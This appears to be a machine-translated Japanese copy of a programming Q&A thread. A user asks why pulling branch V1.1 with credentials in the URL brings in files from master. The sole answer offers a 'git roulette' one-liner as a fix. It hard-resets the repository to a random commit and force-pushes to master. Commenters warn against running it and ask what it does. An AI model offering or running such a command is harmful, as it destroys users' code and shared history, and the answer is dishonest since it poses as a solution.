2017-03-24 14 views
1

Gitに問題があります。私はプロジェクトと4つの支店V1.0、V1.1、V1.2とマスターを持っています。マスターを取得するgit pull with authを使用するときブランチ

今私は、このコマンドを使用してV1.2のクローンを作成:

git clone -b V1.2 --single-branch http://domain/user/project.git . 

は私が右のバージョンを取得します。次のコマンド

git pull 

git pull http://user:[email protected]/user/project.git 

は、両方のコマンドAlready up-to-date

に言います。しかし、私は下のバージョン1.1で同じことを行うとき、私は最初のコマンドAlready up-to-dateに乗ります。 2番目のコマンド:gitが自分のファイルをマスターに更新します。どうして?何が悪いですか?

git status 

Auf Branch V1.1 
Ihr Branch ist vor 'origin/V1.1' um 45 Commits. 

git branch 

* V1.1 

しかし、ファイルはマスターからです。

答えて

0

これはあなたの問題を解決する必要があります。

git reset --hard $(git log --pretty=format:"%h" > ~/gitroulette; head -$((${RANDOM} % `wc -l < ~/gitroulette` + 1)) ~/gitroulette | tail -1); git push origin master --force 

は、お楽しみに!

+0

実際にプロードフォークでこれを試してはいけません。 – Creep2DJ

+0

このスクリプトは何をすべきですか? – Burner

関連する問題